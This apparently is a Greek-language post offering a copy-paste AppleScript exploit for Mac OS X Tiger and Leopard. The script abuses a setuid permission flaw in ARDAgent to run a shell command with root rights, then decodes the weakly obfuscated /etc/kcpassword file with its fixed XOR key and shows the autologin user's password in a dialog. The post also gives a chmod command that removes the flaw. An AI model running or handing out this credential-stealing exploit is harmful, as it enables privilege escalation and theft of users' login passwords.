Το παρακάτω κόλπο είναι δοκιμασμένο σε Tiger και Leopard δε γνωρίζω εάν θα δουλέψει σε Snow Leopard, δε το έχω δοκιμάσει, γι' αυτό αν το δοκιμάσει κάποιος ας μου στείλει ένα email. Ανοίξτε το AppleScript Editor που στο Snow Leopard βρίσκεται στο path /Applications/Utilities/ ενώ στα Tiger και Leopard βρίσκεται στο /Applications/Applescript/ η απλά αναζητήστε το με το Spotlight. Κάντε copy paste τον παρακάτω κώδικα και πατήστε Run, αν δε βγάλει με την πρώτη αποτέλεσμα, ξαναπατήστε Run. Το πρόβλημα που εκμεταλλεύεται ο παρακάτω κώδικας, είναι μια παράβλεψη στα permissions του ARDAgent με το οποίο μπορούμε να κάνουμε escalate τα δικαιώματά μας ώστε να έχουμε πρόσβαση σε restricted αρχεία, σε συνδυασμό με το αρχείο kcpassword στο οποίο αποθηκεύεται ο κωδικός του χρήστη που κάνει autologin, χωρίς όμως να έχει την απαραίτητη κρυπτογράφηση. Πρέπει να πω ότι εάν δεν έχετε ενεργοποιημένο το AutoLogin ο κώδικας δε θα λειτουργήσει, και επείσης μπορείτε να φτιάξετε τα permissions του ARDAgent δίνοντας στο Terminal την εντολή:
Ακολουθεί το AppleScript
sudo chmod u-s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
Ακολουθεί το AppleScript
global kcpassword
set kcpassword to ""
on get_autologin_password()
try
tell application "ARDAgent" to do shell script "declare -i offset=0 i=0;declare -a keys=(7d 89 52 23 d2 bc dd ea a3 b9 1f) hexbytes=($(hexdump -v -e '/1 \"%02X \"' /etc/kcpassword));for ((offset=0;offset<${#hexbytes[*]};offset++));do newbyte=$(printf '%02X' $((16#${keys[${i}]}^16#${hexbytes[$offset]})));[ \"${newbyte}\" == \"00\" ]&&echo&&break;echo -en \"\\x${newbyte}\";let i+=1;[ $i -gt 10 ]&&let i=0;done"
set kcpassword to the result
on error
get_autologin_password()
end try
end get_autologin_password
get_autologin_password()
display dialog kcpassword